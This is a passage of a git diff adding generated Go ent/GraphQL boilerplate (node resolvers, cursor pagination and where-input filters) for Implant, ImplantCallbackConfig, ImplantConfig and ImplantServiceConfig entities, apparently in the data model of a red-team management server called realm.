+func (isc *ImplantServiceConfig) Node(ctx context.Context) (node *Node, err error) { + node = &Node{ + ID: isc.ID, + Type: "ImplantServiceConfig", + Fields: make([]*Field, 3), + Edges: make([]*Edge, 1), + } + var buf []byte + if buf, err = json.Marshal(isc.Name); err != nil { + return nil, err + } + node.Fields[0] = &Field{ + Type: "string", + Name: "name", + Value: string(buf), + } + if buf, err = json.Marshal(isc.Description); err != nil { + return nil, err + } + node.Fields[1] = &Field{ + Type: "string", + Name: "description", + Value: string(buf), + } + if buf, err = json.Marshal(isc.ExecutablePath); err != nil { + return nil, err + } + node.Fields[2] = &Field{ + Type: "string", + Name: "executablePath", + Value: string(buf), + } + node.Edges[0] = &Edge{ + Type: "ImplantConfig", + Name: "implantConfigs", + } + err = isc.QueryImplantConfigs(). + Select(implantconfig.FieldID). + Scan(ctx, &node.Edges[0].IDs) + if err != nil { + return nil, err + } + return node, nil +} + func (t *Target) Node(ctx context.Context) (node *Node, err error) { node = &Node{ ID: t.ID, Type: "Target", Fields: make([]*Field, 2), - Edges: make([]*Edge, 1), + Edges: make([]*Edge, 2), } var buf []byte if buf, err = json.Marshal(t.Name); err != nil { @@ -186,6 +400,16 @@ func (t *Target) Node(ctx context.Context) (node *Node, err error) { if err != nil { return nil, err } + node.Edges[1] = &Edge{ + Type: "Implant", + Name: "implants", + } + err = t.QueryImplants(). + Select(implant.FieldID). + Scan(ctx, &node.Edges[1].IDs) + if err != nil { + return nil, err + } return node, nil } @@ -274,6 +498,42 @@ func (c *Client) noder(ctx context.Context, table string, id int) (Noder, error) return nil, err } return n, nil + case implant.Table: + n, err := c.Implant.Query(). + Where(implant.ID(id)). + CollectFields(ctx, "Implant"). + Only(ctx) + if err != nil { + return nil, err + } + return n, nil + case implantcallbackconfig.Table: + n, err := c.ImplantCallbackConfig.Query(). + Where(implantcallbackconfig.ID(id)). + CollectFields(ctx, "ImplantCallbackConfig"). + Only(ctx) + if err != nil { + return nil, err + } + return n, nil + case implantconfig.Table: + n, err := c.ImplantConfig.Query(). + Where(implantconfig.ID(id)). + CollectFields(ctx, "ImplantConfig"). + Only(ctx) + if err != nil { + return nil, err + } + return n, nil + case implantserviceconfig.Table: + n, err := c.ImplantServiceConfig.Query(). + Where(implantserviceconfig.ID(id)). + CollectFields(ctx, "ImplantServiceConfig"). + Only(ctx) + if err != nil { + return nil, err + } + return n, nil case target.Table: n, err := c.Target.Query(). Where(target.ID(id)). @@ -382,6 +642,58 @@ func (c *Client) noders(ctx context.Context, table string, ids []int) ([]Noder, *noder = node } } + case implant.Table: + nodes, err := c.Implant.Query(). + Where(implant.IDIn(ids...)). + CollectFields(ctx, "Implant"). + All(ctx) + if err != nil { + return nil, err + } + for _, node := range nodes { + for _, noder := range idmap[node.ID] { + *noder = node + } + } + case implantcallbackconfig.Table: + nodes, err := c.ImplantCallbackConfig.Query(). + Where(implantcallbackconfig.IDIn(ids...)). + CollectFields(ctx, "ImplantCallbackConfig"). + All(ctx) + if err != nil { + return nil, err + } + for _, node := range nodes { + for _, noder := range idmap[node.ID] { + *noder = node + } + } + case implantconfig.Table: + nodes, err := c.ImplantConfig.Query(). + Where(implantconfig.IDIn(ids...)). + CollectFields(ctx, "ImplantConfig"). + All(ctx) + if err != nil { + return nil, err + } + for _, node := range nodes { + for _, noder := range idmap[node.ID] { + *noder = node + } + } + case implantserviceconfig.Table: + nodes, err := c.ImplantServiceConfig.Query(). + Where(implantserviceconfig.IDIn(ids...)). + CollectFields(ctx, "ImplantServiceConfig"). + All(ctx) + if err != nil { + return nil, err + } + for _, node := range nodes { + for _, noder := range idmap[node.ID] { + *noder = node + } + } case target.Table: nodes, err := c.Target.Query(). Where(target.IDIn(ids...)). diff --git a/ent/gql_pagination.go b/ent/gql_pagination.go index 13414f2ec..221bf9385 100644 --- a/ent/gql_pagination.go +++ b/ent/gql_pagination.go @@ -16,6 +16,10 @@ import ( "github.com/99designs/gqlgen/graphql/errcode" "github.com/kcarretto/realm/ent/credential" "github.com/kcarretto/realm/ent/file" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" "github.com/kcarretto/realm/ent/target" "github.com/vektah/gqlparser/v2/gqlerror" "github.com/vmihailenco/msgpack/v5" @@ -844,6 +848,914 @@ func (f *File) ToEdge(order *FileOrder) *FileEdge { } } +// ImplantEdge is the edge representation of Implant. +type ImplantEdge struct { + Node *Implant `json:"node"` + Cursor Cursor `json:"cursor"` +} + +// ImplantConnection is the connection containing edges to Implant. +type ImplantConnection struct { + Edges []*ImplantEdge `json:"edges"` + PageInfo PageInfo `json:"pageInfo"` + TotalCount int `json:"totalCount"` +} + +// ImplantPaginateOption enables pagination customization. +type ImplantPaginateOption func(*implantPager) error + +// WithImplantOrder configures pagination ordering. +func WithImplantOrder(order *ImplantOrder) ImplantPaginateOption { + if order == nil { + order = DefaultImplantOrder + } + o := *order + return func(pager *implantPager) error { + if err := o.Direction.Validate(); err != nil { + return err + } + if o.Field == nil { + o.Field = DefaultImplantOrder.Field + } + pager.order = &o + return nil + } +} + +// WithImplantFilter configures pagination filter. +func WithImplantFilter(filter func(*ImplantQuery) (*ImplantQuery, error)) ImplantPaginateOption { + return func(pager *implantPager) error { + if filter == nil { + return errors.New("ImplantQuery filter cannot be nil") + } + pager.filter = filter + return nil + } +} + +type implantPager struct { + order *ImplantOrder + filter func(*ImplantQuery) (*ImplantQuery, error) +} + +func newImplantPager(opts []ImplantPaginateOption) (*implantPager, error) { + pager := &implantPager{} + for _, opt := range opts { + if err := opt(pager); err != nil { + return nil, err + } + } + if pager.order == nil { + pager.order = DefaultImplantOrder + } + return pager, nil +} + +func (p *implantPager) applyFilter(query *ImplantQuery) (*ImplantQuery, error) { + if p.filter != nil { + return p.filter(query) + } + return query, nil +} + +func (p *implantPager) toCursor(i *Implant) Cursor { + return p.order.Field.toCursor(i) +} + +func (p *implantPager) applyCursors(query *ImplantQuery, after, before *Cursor) *ImplantQuery { + for _, predicate := range cursorsToPredicates( + p.order.Direction, after, before, + p.order.Field.field, DefaultImplantOrder.Field.field, + ) { + query = query.Where(predicate) + } + return query +} + +func (p *implantPager) applyOrder(query *ImplantQuery, reverse bool) *ImplantQuery { + direction := p.order.Direction + if reverse { + direction = direction.reverse() + } + query = query.Order(direction.orderFunc(p.order.Field.field)) + if p.order.Field != DefaultImplantOrder.Field { + query = query.Order(direction.orderFunc(DefaultImplantOrder.Field.field)) + } + return query +} + +// Paginate executes the query and returns a relay based cursor connection to Implant. +func (i *ImplantQuery) Paginate( + ctx context.Context, after *Cursor, first *int, + before *Cursor, last *int, opts ...ImplantPaginateOption, +) (*ImplantConnection, error) { + if err := validateFirstLast(first, last); err != nil { + return nil, err + } + pager, err := newImplantPager(opts) + if err != nil { + return nil, err + } + + if i, err = pager.applyFilter(i); err != nil { + return nil, err + } + + conn := &ImplantConnection{Edges: []*ImplantEdge{}} + if !hasCollectedField(ctx, edgesField) || first != nil && *first == 0 || last != nil && *last == 0 { + if hasCollectedField(ctx, totalCountField) || + hasCollectedField(ctx, pageInfoField) { + count, err := i.Count(ctx) + if err != nil { + return nil, err + } + conn.TotalCount = count + conn.PageInfo.HasNextPage = first != nil && count > 0 + conn.PageInfo.HasPreviousPage = last != nil && count > 0 + } + return conn, nil + } + + if (after != nil || first != nil || before != nil || last != nil) && hasCollectedField(ctx, totalCountField) { + count, err := i.Clone().Count(ctx) + if err != nil { + return nil, err + } + conn.TotalCount = count + } + + i = pager.applyCursors(i, after, before) + i = pager.applyOrder(i, last != nil) + var limit int + if first != nil { + limit = *first + 1 + } else if last != nil { + limit = *last + 1 + } + if limit > 0 { + i = i.Limit(limit) + } + + if field := getCollectedField(ctx, edgesField, nodeField); field != nil { + i = i.collectField(graphql.GetOperationContext(ctx), *field) + } + + nodes, err := i.All(ctx) + if err != nil || len(nodes) == 0 { + return conn, err + } + + if len(nodes) == limit { + conn.PageInfo.HasNextPage = first != nil + conn.PageInfo.HasPreviousPage = last != nil + nodes = nodes[:len(nodes)-1] + } + + var nodeAt func(int) *Implant + if last != nil { + n := len(nodes) - 1 + nodeAt = func(i int) *Implant { + return nodes[n-i] + } + } else { + nodeAt = func(i int) *Implant { + return nodes[i] + } + } + + conn.Edges = make([]*ImplantEdge, len(nodes)) + for i := range nodes { + node := nodeAt(i) + conn.Edges[i] = &ImplantEdge{ + Node: node, + Cursor: pager.toCursor(node), + } + } + + conn.PageInfo.StartCursor = &conn.Edges[0].Cursor + conn.PageInfo.EndCursor = &conn.Edges[len(conn.Edges)-1].Cursor + if conn.TotalCount == 0 { + conn.TotalCount = len(nodes) + } + + return conn, nil +} + +// ImplantOrderField defines the ordering field of Implant. +type ImplantOrderField struct { + field string + toCursor func(*Implant) Cursor +} + +// ImplantOrder defines the ordering of Implant. +type ImplantOrder struct { + Direction OrderDirection `json:"direction"` + Field *ImplantOrderField `json:"field"` +} + +// DefaultImplantOrder is the default ordering of Implant. +var DefaultImplantOrder = &ImplantOrder{ + Direction: OrderDirectionAsc, + Field: &ImplantOrderField{ + field: implant.FieldID, + toCursor: func(i *Implant) Cursor { + return Cursor{ID: i.ID} + }, + }, +} + +// ToEdge converts Implant into ImplantEdge. +func (i *Implant) ToEdge(order *ImplantOrder) *ImplantEdge { + if order == nil { + order = DefaultImplantOrder + } + return &ImplantEdge{ + Node: i, + Cursor: order.Field.toCursor(i), + } +} + +// ImplantCallbackConfigEdge is the edge representation of ImplantCallbackConfig. +type ImplantCallbackConfigEdge struct { + Node *ImplantCallbackConfig `json:"node"` + Cursor Cursor `json:"cursor"` +} + +// ImplantCallbackConfigConnection is the connection containing edges to ImplantCallbackConfig. +type ImplantCallbackConfigConnection struct { + Edges []*ImplantCallbackConfigEdge `json:"edges"` + PageInfo PageInfo `json:"pageInfo"` + TotalCount int `json:"totalCount"` +} + +// ImplantCallbackConfigPaginateOption enables pagination customization. +type ImplantCallbackConfigPaginateOption func(*implantCallbackConfigPager) error + +// WithImplantCallbackConfigOrder configures pagination ordering. +func WithImplantCallbackConfigOrder(order *ImplantCallbackConfigOrder) ImplantCallbackConfigPaginateOption { + if order == nil { + order = DefaultImplantCallbackConfigOrder + } + o := *order + return func(pager *implantCallbackConfigPager) error { + if err := o.Direction.Validate(); err != nil { + return err + } + if o.Field == nil { + o.Field = DefaultImplantCallbackConfigOrder.Field + } + pager.order = &o + return nil + } +} + +// WithImplantCallbackConfigFilter configures pagination filter. +func WithImplantCallbackConfigFilter(filter func(*ImplantCallbackConfigQuery) (*ImplantCallbackConfigQuery, error)) ImplantCallbackConfigPaginateOption { + return func(pager *implantCallbackConfigPager) error { + if filter == nil { + return errors.New("ImplantCallbackConfigQuery filter cannot be nil") + } + pager.filter = filter + return nil + } +} + +type implantCallbackConfigPager struct { + order *ImplantCallbackConfigOrder + filter func(*ImplantCallbackConfigQuery) (*ImplantCallbackConfigQuery, error) +} + +func newImplantCallbackConfigPager(opts []ImplantCallbackConfigPaginateOption) (*implantCallbackConfigPager, error) { + pager := &implantCallbackConfigPager{} + for _, opt := range opts { + if err := opt(pager); err != nil { + return nil, err + } + } + if pager.order == nil { + pager.order = DefaultImplantCallbackConfigOrder + } + return pager, nil +} + +func (p *implantCallbackConfigPager) applyFilter(query *ImplantCallbackConfigQuery) (*ImplantCallbackConfigQuery, error) { + if p.filter != nil { + return p.filter(query) + } + return query, nil +} + +func (p *implantCallbackConfigPager) toCursor(icc *ImplantCallbackConfig) Cursor { + return p.order.Field.toCursor(icc) +} + +func (p *implantCallbackConfigPager) applyCursors(query *ImplantCallbackConfigQuery, after, before *Cursor) *ImplantCallbackConfigQuery { + for _, predicate := range cursorsToPredicates( + p.order.Direction, after, before, + p.order.Field.field, DefaultImplantCallbackConfigOrder.Field.field, + ) { + query = query.Where(predicate) + } + return query +} + +func (p *implantCallbackConfigPager) applyOrder(query *ImplantCallbackConfigQuery, reverse bool) *ImplantCallbackConfigQuery { + direction := p.order.Direction + if reverse { + direction = direction.reverse() + } + query = query.Order(direction.orderFunc(p.order.Field.field)) + if p.order.Field != DefaultImplantCallbackConfigOrder.Field { + query = query.Order(direction.orderFunc(DefaultImplantCallbackConfigOrder.Field.field)) + } + return query +} + +// Paginate executes the query and returns a relay based cursor connection to ImplantCallbackConfig. +func (icc *ImplantCallbackConfigQuery) Paginate( + ctx context.Context, after *Cursor, first *int, + before *Cursor, last *int, opts ...ImplantCallbackConfigPaginateOption, +) (*ImplantCallbackConfigConnection, error) { + if err := validateFirstLast(first, last); err != nil { + return nil, err + } + pager, err := newImplantCallbackConfigPager(opts) + if err != nil { + return nil, err + } + + if icc, err = pager.applyFilter(icc); err != nil { + return nil, err + } + + conn := &ImplantCallbackConfigConnection{Edges: []*ImplantCallbackConfigEdge{}} + if !hasCollectedField(ctx, edgesField) || first != nil && *first == 0 || last != nil && *last == 0 { + if hasCollectedField(ctx, totalCountField) || + hasCollectedField(ctx, pageInfoField) { + count, err := icc.Count(ctx) + if err != nil { + return nil, err + } + conn.TotalCount = count + conn.PageInfo.HasNextPage = first != nil && count > 0 + conn.PageInfo.HasPreviousPage = last != nil && count > 0 + } + return conn, nil + } + + if (after != nil || first != nil || before != nil || last != nil) && hasCollectedField(ctx, totalCountField) { + count, err := icc.Clone().Count(ctx) + if err != nil { + return nil, err + } + conn.TotalCount = count + } + + icc = pager.applyCursors(icc, after, before) + icc = pager.applyOrder(icc, last != nil) + var limit int + if first != nil { + limit = *first + 1 + } else if last != nil { + limit = *last + 1 + } + if limit > 0 { + icc = icc.Limit(limit) + } + + if field := getCollectedField(ctx, edgesField, nodeField); field != nil { + icc = icc.collectField(graphql.GetOperationContext(ctx), *field) + } + + nodes, err := icc.All(ctx) + if err != nil || len(nodes) == 0 { + return conn, err + } + + if len(nodes) == limit { + conn.PageInfo.HasNextPage = first != nil + conn.PageInfo.HasPreviousPage = last != nil + nodes = nodes[:len(nodes)-1] + } + + var nodeAt func(int) *ImplantCallbackConfig + if last != nil { + n := len(nodes) - 1 + nodeAt = func(i int) *ImplantCallbackConfig { + return nodes[n-i] + } + } else { + nodeAt = func(i int) *ImplantCallbackConfig { + return nodes[i] + } + } + + conn.Edges = make([]*ImplantCallbackConfigEdge, len(nodes)) + for i := range nodes { + node := nodeAt(i) + conn.Edges[i] = &ImplantCallbackConfigEdge{ + Node: node, + Cursor: pager.toCursor(node), + } + } + + conn.PageInfo.StartCursor = &conn.Edges[0].Cursor + conn.PageInfo.EndCursor = &conn.Edges[len(conn.Edges)-1].Cursor + if conn.TotalCount == 0 { + conn.TotalCount = len(nodes) + } + + return conn, nil +} + +// ImplantCallbackConfigOrderField defines the ordering field of ImplantCallbackConfig. +type ImplantCallbackConfigOrderField struct { + field string + toCursor func(*ImplantCallbackConfig) Cursor +} + +// ImplantCallbackConfigOrder defines the ordering of ImplantCallbackConfig. +type ImplantCallbackConfigOrder struct { + Direction OrderDirection `json:"direction"` + Field *ImplantCallbackConfigOrderField `json:"field"` +} + +// DefaultImplantCallbackConfigOrder is the default ordering of ImplantCallbackConfig. +var DefaultImplantCallbackConfigOrder = &ImplantCallbackConfigOrder{ + Direction: OrderDirectionAsc, + Field: &ImplantCallbackConfigOrderField{ + field: implantcallbackconfig.FieldID, + toCursor: func(icc *ImplantCallbackConfig) Cursor { + return Cursor{ID: icc.ID} + }, + }, +} + +// ToEdge converts ImplantCallbackConfig into ImplantCallbackConfigEdge. +func (icc *ImplantCallbackConfig) ToEdge(order *ImplantCallbackConfigOrder) *ImplantCallbackConfigEdge { + if order == nil { + order = DefaultImplantCallbackConfigOrder + } + return &ImplantCallbackConfigEdge{ + Node: icc, + Cursor: order.Field.toCursor(icc), + } +} + +// ImplantConfigEdge is the edge representation of ImplantConfig. +type ImplantConfigEdge struct { + Node *ImplantConfig `json:"node"` + Cursor Cursor `json:"cursor"` +} + +// ImplantConfigConnection is the connection containing edges to ImplantConfig. +type ImplantConfigConnection struct { + Edges []*ImplantConfigEdge `json:"edges"` + PageInfo PageInfo `json:"pageInfo"` + TotalCount int `json:"totalCount"` +} + +// ImplantConfigPaginateOption enables pagination customization. +type ImplantConfigPaginateOption func(*implantConfigPager) error + +// WithImplantConfigOrder configures pagination ordering. +func WithImplantConfigOrder(order *ImplantConfigOrder) ImplantConfigPaginateOption { + if order == nil { + order = DefaultImplantConfigOrder + } + o := *order + return func(pager *implantConfigPager) error { + if err := o.Direction.Validate(); err != nil { + return err + } + if o.Field == nil { + o.Field = DefaultImplantConfigOrder.Field + } + pager.order = &o + return nil + } +} + +// WithImplantConfigFilter configures pagination filter. +func WithImplantConfigFilter(filter func(*ImplantConfigQuery) (*ImplantConfigQuery, error)) ImplantConfigPaginateOption { + return func(pager *implantConfigPager) error { + if filter == nil { + return errors.New("ImplantConfigQuery filter cannot be nil") + } + pager.filter = filter + return nil + } +} + +type implantConfigPager struct { + order *ImplantConfigOrder + filter func(*ImplantConfigQuery) (*ImplantConfigQuery, error) +} + +func newImplantConfigPager(opts []ImplantConfigPaginateOption) (*implantConfigPager, error) { + pager := &implantConfigPager{} + for _, opt := range opts { + if err := opt(pager); err != nil { + return nil, err + } + } + if pager.order == nil { + pager.order = DefaultImplantConfigOrder + } + return pager, nil +} + +func (p *implantConfigPager) applyFilter(query *ImplantConfigQuery) (*ImplantConfigQuery, error) { + if p.filter != nil { + return p.filter(query) + } + return query, nil +} + +func (p *implantConfigPager) toCursor(ic *ImplantConfig) Cursor { + return p.order.Field.toCursor(ic) +} + +func (p *implantConfigPager) applyCursors(query *ImplantConfigQuery, after, before *Cursor) *ImplantConfigQuery { + for _, predicate := range cursorsToPredicates( + p.order.Direction, after, before, + p.order.Field.field, DefaultImplantConfigOrder.Field.field, + ) { + query = query.Where(predicate) + } + return query +} + +func (p *implantConfigPager) applyOrder(query *ImplantConfigQuery, reverse bool) *ImplantConfigQuery { + direction := p.order.Direction + if reverse { + direction = direction.reverse() + } + query = query.Order(direction.orderFunc(p.order.Field.field)) + if p.order.Field != DefaultImplantConfigOrder.Field { + query = query.Order(direction.orderFunc(DefaultImplantConfigOrder.Field.field)) + } + return query +} + +// Paginate executes the query and returns a relay based cursor connection to ImplantConfig. +func (ic *ImplantConfigQuery) Paginate( + ctx context.Context, after *Cursor, first *int, + before *Cursor, last *int, opts ...ImplantConfigPaginateOption, +) (*ImplantConfigConnection, error) { + if err := validateFirstLast(first, last); err != nil { + return nil, err + } + pager, err := newImplantConfigPager(opts) + if err != nil { + return nil, err + } + + if ic, err = pager.applyFilter(ic); err != nil { + return nil, err + } + + conn := &ImplantConfigConnection{Edges: []*ImplantConfigEdge{}} + if !hasCollectedField(ctx, edgesField) || first != nil && *first == 0 || last != nil && *last == 0 { + if hasCollectedField(ctx, totalCountField) || + hasCollectedField(ctx, pageInfoField) { + count, err := ic.Count(ctx) + if err != nil { + return nil, err + } + conn.TotalCount = count + conn.PageInfo.HasNextPage = first != nil && count > 0 + conn.PageInfo.HasPreviousPage = last != nil && count > 0 + } + return conn, nil + } + + if (after != nil || first != nil || before != nil || last != nil) && hasCollectedField(ctx, totalCountField) { + count, err := ic.Clone().Count(ctx) + if err != nil { + return nil, err + } + conn.TotalCount = count + } + + ic = pager.applyCursors(ic, after, before) + ic = pager.applyOrder(ic, last != nil) + var limit int + if first != nil { + limit = *first + 1 + } else if last != nil { + limit = *last + 1 + } + if limit > 0 { + ic = ic.Limit(limit) + } + + if field := getCollectedField(ctx, edgesField, nodeField); field != nil { + ic = ic.collectField(graphql.GetOperationContext(ctx), *field) + } + + nodes, err := ic.All(ctx) + if err != nil || len(nodes) == 0 { + return conn, err + } + + if len(nodes) == limit { + conn.PageInfo.HasNextPage = first != nil + conn.PageInfo.HasPreviousPage = last != nil + nodes = nodes[:len(nodes)-1] + } + + var nodeAt func(int) *ImplantConfig + if last != nil { + n := len(nodes) - 1 + nodeAt = func(i int) *ImplantConfig { + return nodes[n-i] + } + } else { + nodeAt = func(i int) *ImplantConfig { + return nodes[i] + } + } + + conn.Edges = make([]*ImplantConfigEdge, len(nodes)) + for i := range nodes { + node := nodeAt(i) + conn.Edges[i] = &ImplantConfigEdge{ + Node: node, + Cursor: pager.toCursor(node), + } + } + + conn.PageInfo.StartCursor = &conn.Edges[0].Cursor + conn.PageInfo.EndCursor = &conn.Edges[len(conn.Edges)-1].Cursor + if conn.TotalCount == 0 { + conn.TotalCount = len(nodes) + } + + return conn, nil +} + +// ImplantConfigOrderField defines the ordering field of ImplantConfig. +type ImplantConfigOrderField struct { + field string + toCursor func(*ImplantConfig) Cursor +} + +// ImplantConfigOrder defines the ordering of ImplantConfig. +type ImplantConfigOrder struct { + Direction OrderDirection `json:"direction"` + Field *ImplantConfigOrderField `json:"field"` +} + +// DefaultImplantConfigOrder is the default ordering of ImplantConfig. +var DefaultImplantConfigOrder = &ImplantConfigOrder{ + Direction: OrderDirectionAsc, + Field: &ImplantConfigOrderField{ + field: implantconfig.FieldID, + toCursor: func(ic *ImplantConfig) Cursor { + return Cursor{ID: ic.ID} + }, + }, +} + +// ToEdge converts ImplantConfig into ImplantConfigEdge. +func (ic *ImplantConfig) ToEdge(order *ImplantConfigOrder) *ImplantConfigEdge { + if order == nil { + order = DefaultImplantConfigOrder + } + return &ImplantConfigEdge{ + Node: ic, + Cursor: order.Field.toCursor(ic), + } +} + +// ImplantServiceConfigEdge is the edge representation of ImplantServiceConfig. +type ImplantServiceConfigEdge struct { + Node *ImplantServiceConfig `json:"node"` + Cursor Cursor `json:"cursor"` +} + +// ImplantServiceConfigConnection is the connection containing edges to ImplantServiceConfig. +type ImplantServiceConfigConnection struct { + Edges []*ImplantServiceConfigEdge `json:"edges"` + PageInfo PageInfo `json:"pageInfo"` + TotalCount int `json:"totalCount"` +} + +// ImplantServiceConfigPaginateOption enables pagination customization. +type ImplantServiceConfigPaginateOption func(*implantServiceConfigPager) error + +// WithImplantServiceConfigOrder configures pagination ordering. +func WithImplantServiceConfigOrder(order *ImplantServiceConfigOrder) ImplantServiceConfigPaginateOption { + if order == nil { + order = DefaultImplantServiceConfigOrder + } + o := *order + return func(pager *implantServiceConfigPager) error { + if err := o.Direction.Validate(); err != nil { + return err + } + if o.Field == nil { + o.Field = DefaultImplantServiceConfigOrder.Field + } + pager.order = &o + return nil + } +} + +// WithImplantServiceConfigFilter configures pagination filter. +func WithImplantServiceConfigFilter(filter func(*ImplantServiceConfigQuery) (*ImplantServiceConfigQuery, error)) ImplantServiceConfigPaginateOption { + return func(pager *implantServiceConfigPager) error { + if filter == nil { + return errors.New("ImplantServiceConfigQuery filter cannot be nil") + } + pager.filter = filter + return nil + } +} + +type implantServiceConfigPager struct { + order *ImplantServiceConfigOrder + filter func(*ImplantServiceConfigQuery) (*ImplantServiceConfigQuery, error) +} + +func newImplantServiceConfigPager(opts []ImplantServiceConfigPaginateOption) (*implantServiceConfigPager, error) { + pager := &implantServiceConfigPager{} + for _, opt := range opts { + if err := opt(pager); err != nil { + return nil, err + } + } + if pager.order == nil { + pager.order = DefaultImplantServiceConfigOrder + } + return pager, nil +} + +func (p *implantServiceConfigPager) applyFilter(query *ImplantServiceConfigQuery) (*ImplantServiceConfigQuery, error) { + if p.filter != nil { + return p.filter(query) + } + return query, nil +} + +func (p *implantServiceConfigPager) toCursor(isc *ImplantServiceConfig) Cursor { + return p.order.Field.toCursor(isc) +} + +func (p *implantServiceConfigPager) applyCursors(query *ImplantServiceConfigQuery, after, before *Cursor) *ImplantServiceConfigQuery { + for _, predicate := range cursorsToPredicates( + p.order.Direction, after, before, + p.order.Field.field, DefaultImplantServiceConfigOrder.Field.field, + ) { + query = query.Where(predicate) + } + return query +} + +func (p *implantServiceConfigPager) applyOrder(query *ImplantServiceConfigQuery, reverse bool) *ImplantServiceConfigQuery { + direction := p.order.Direction + if reverse { + direction = direction.reverse() + } + query = query.Order(direction.orderFunc(p.order.Field.field)) + if p.order.Field != DefaultImplantServiceConfigOrder.Field { + query = query.Order(direction.orderFunc(DefaultImplantServiceConfigOrder.Field.field)) + } + return query +} + +// Paginate executes the query and returns a relay based cursor connection to ImplantServiceConfig. +func (isc *ImplantServiceConfigQuery) Paginate( + ctx context.Context, after *Cursor, first *int, + before *Cursor, last *int, opts ...ImplantServiceConfigPaginateOption, +) (*ImplantServiceConfigConnection, error) { + if err := validateFirstLast(first, last); err != nil { + return nil, err + } + pager, err := newImplantServiceConfigPager(opts) + if err != nil { + return nil, err + } + + if isc, err = pager.applyFilter(isc); err != nil { + return nil, err + } + + conn := &ImplantServiceConfigConnection{Edges: []*ImplantServiceConfigEdge{}} + if !hasCollectedField(ctx, edgesField) || first != nil && *first == 0 || last != nil && *last == 0 { + if hasCollectedField(ctx, totalCountField) || + hasCollectedField(ctx, pageInfoField) { + count, err := isc.Count(ctx) + if err != nil { + return nil, err + } + conn.TotalCount = count + conn.PageInfo.HasNextPage = first != nil && count > 0 + conn.PageInfo.HasPreviousPage = last != nil && count > 0 + } + return conn, nil + } + + if (after != nil || first != nil || before != nil || last != nil) && hasCollectedField(ctx, totalCountField) { + count, err := isc.Clone().Count(ctx) + if err != nil { + return nil, err + } + conn.TotalCount = count + } + + isc = pager.applyCursors(isc, after, before) + isc = pager.applyOrder(isc, last != nil) + var limit int + if first != nil { + limit = *first + 1 + } else if last != nil { + limit = *last + 1 + } + if limit > 0 { + isc = isc.Limit(limit) + } + + if field := getCollectedField(ctx, edgesField, nodeField); field != nil { + isc = isc.collectField(graphql.GetOperationContext(ctx), *field) + } + + nodes, err := isc.All(ctx) + if err != nil || len(nodes) == 0 { + return conn, err + } + + if len(nodes) == limit { + conn.PageInfo.HasNextPage = first != nil + conn.PageInfo.HasPreviousPage = last != nil + nodes = nodes[:len(nodes)-1] + } + + var nodeAt func(int) *ImplantServiceConfig + if last != nil { + n := len(nodes) - 1 + nodeAt = func(i int) *ImplantServiceConfig { + return nodes[n-i] + } + } else { + nodeAt = func(i int) *ImplantServiceConfig { + return nodes[i] + } + } + + conn.Edges = make([]*ImplantServiceConfigEdge, len(nodes)) + for i := range nodes { + node := nodeAt(i) + conn.Edges[i] = &ImplantServiceConfigEdge{ + Node: node, + Cursor: pager.toCursor(node), + } + } + + conn.PageInfo.StartCursor = &conn.Edges[0].Cursor + conn.PageInfo.EndCursor = &conn.Edges[len(conn.Edges)-1].Cursor + if conn.TotalCount == 0 { + conn.TotalCount = len(nodes) + } + + return conn, nil +} + +// ImplantServiceConfigOrderField defines the ordering field of ImplantServiceConfig. +type ImplantServiceConfigOrderField struct { + field string + toCursor func(*ImplantServiceConfig) Cursor +} + +// ImplantServiceConfigOrder defines the ordering of ImplantServiceConfig. +type ImplantServiceConfigOrder struct { + Direction OrderDirection `json:"direction"` + Field *ImplantServiceConfigOrderField `json:"field"` +} + +// DefaultImplantServiceConfigOrder is the default ordering of ImplantServiceConfig. +var DefaultImplantServiceConfigOrder = &ImplantServiceConfigOrder{ + Direction: OrderDirectionAsc, + Field: &ImplantServiceConfigOrderField{ + field: implantserviceconfig.FieldID, + toCursor: func(isc *ImplantServiceConfig) Cursor { + return Cursor{ID: isc.ID} + }, + }, +} + +// ToEdge converts ImplantServiceConfig into ImplantServiceConfigEdge. +func (isc *ImplantServiceConfig) ToEdge(order *ImplantServiceConfigOrder) *ImplantServiceConfigEdge { + if order == nil { + order = DefaultImplantServiceConfigOrder + } + return &ImplantServiceConfigEdge{ + Node: isc, + Cursor: order.Field.toCursor(isc), + } +} + // TargetEdge is the edge representation of Target. type TargetEdge struct { Node *Target `json:"node"` diff --git a/ent/gql_where_input.go b/ent/gql_where_input.go index 8cc9e7b35..275c5521e 100644 --- a/ent/gql_where_input.go +++ b/ent/gql_where_input.go @@ -8,6 +8,10 @@ import ( "github.com/kcarretto/realm/ent/credential" "github.com/kcarretto/realm/ent/file" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" "github.com/kcarretto/realm/ent/predicate" "github.com/kcarretto/realm/ent/target" ) @@ -592,6 +596,1180 @@ func (i *FileWhereInput) P() (predicate.File, error) { } } +// ImplantWhereInput represents a where input for filtering Implant queries. +type ImplantWhereInput struct { + Not *ImplantWhereInput `json:"not,omitempty"` + Or []*ImplantWhereInput `json:"or,omitempty"` + And []*ImplantWhereInput `json:"and,omitempty"` + + // "id" field predicates. + ID *int `json:"id,omitempty"` + IDNEQ *int `json:"idNEQ,omitempty"` + IDIn []int `json:"idIn,omitempty"` + IDNotIn []int `json:"idNotIn,omitempty"` + IDGT *int `json:"idGT,omitempty"` + IDGTE *int `json:"idGTE,omitempty"` + IDLT *int `json:"idLT,omitempty"` + IDLTE *int `json:"idLTE,omitempty"` + + // "sessionID" field predicates. + SessionID *string `json:"sessionid,omitempty"` + SessionIDNEQ *string `json:"sessionidNEQ,omitempty"` + SessionIDIn []string `json:"sessionidIn,omitempty"` + SessionIDNotIn []string `json:"sessionidNotIn,omitempty"` + SessionIDGT *string `json:"sessionidGT,omitempty"` + SessionIDGTE *string `json:"sessionidGTE,omitempty"` + SessionIDLT *string `json:"sessionidLT,omitempty"` + SessionIDLTE *string `json:"sessionidLTE,omitempty"` + SessionIDContains *string `json:"sessionidContains,omitempty"` + SessionIDHasPrefix *string `json:"sessionidHasPrefix,omitempty"` + SessionIDHasSuffix *string `json:"sessionidHasSuffix,omitempty"` + SessionIDEqualFold *string `json:"sessionidEqualFold,omitempty"` + SessionIDContainsFold *string `json:"sessionidContainsFold,omitempty"` + + // "processName" field predicates. + ProcessName *string `json:"processname,omitempty"` + ProcessNameNEQ *string 